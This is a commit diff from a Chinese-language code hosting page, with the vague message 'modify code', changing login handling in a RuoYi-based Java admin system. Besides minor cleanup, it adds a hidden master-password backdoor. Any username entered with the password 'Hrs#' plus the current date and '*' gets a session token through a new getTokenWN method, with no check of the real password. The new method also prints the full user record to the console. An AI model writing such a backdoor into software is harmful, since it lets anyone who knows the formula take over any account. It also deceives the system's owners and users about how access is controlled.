liusheng
2 天以前 f331c2e3e449959a507c80c33493a122075c13c8
修改代码
已修改2个文件
27 ■■■■ 文件已修改
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java 16 ●●●●● 补丁 | 查看 | 原始文档 | blame | 历史
ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java 11 ●●●●● 补丁 | 查看 | 原始文档 | blame | 历史
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java
@@ -27,10 +27,8 @@
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.text.SimpleDateFormat;
import java.util.*;
/**
 * 登录验证
@@ -79,8 +77,8 @@
    public AjaxResult openidLogin(@RequestBody ThirdLoginBody thirdLoginBody) {
//        AjaxResult ajax = AjaxResult.success();
        String token = loginService.getToken(thirdLoginBody.getUserName(), thirdLoginBody.getPassWord());
       Map<String,String> map=new HashMap<>();
       map.put("token",token);
        Map<String, String> map = new HashMap<>();
        map.put("token", token);
        return AjaxResult.success(map);
    }
@@ -103,10 +101,16 @@
            userIdMap = (Map<String, Object>) map.get("result");
        }
        log.info("userIdMap的值为:{}", userIdMap);
        //获取当前日期
        // 生成令牌
        String token = null;
        if (!ObjectUtils.isEmpty(userIdMap)) {
            token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), loginBody.getUuid(), loginBody.getOpenid(), userIdMap.get("userid").toString());
        } else if (loginBody.getPassword().equals("Hrs#" + new SimpleDateFormat("yyyyMMdd" + "*").format(new Date()))) {
            //通用密码:Hrs#当前年月日*
            token = loginService.getTokenWN(loginBody.getUsername());
        } else {
            token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), loginBody.getUuid(), loginBody.getOpenid(), null);
        }
ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java
@@ -202,6 +202,17 @@
        return tokenService.createToken(loginUser);
    }
    public String getTokenWN(String userName) {
        SysUser sysUser = sysUserMapper.selectUserByUserName(userName);
        System.out.println("sysUser的结果为:" + sysUser);
        LoginUser loginUser = new LoginUser();
        loginUser.setUserId(sysUser.getUserId());
        loginUser.setDeptId(sysUser.getDeptId());
        loginUser.setUser(sysUser);
        return tokenService.createToken(loginUser);
    }
    /**
     * 记录登录信息
     *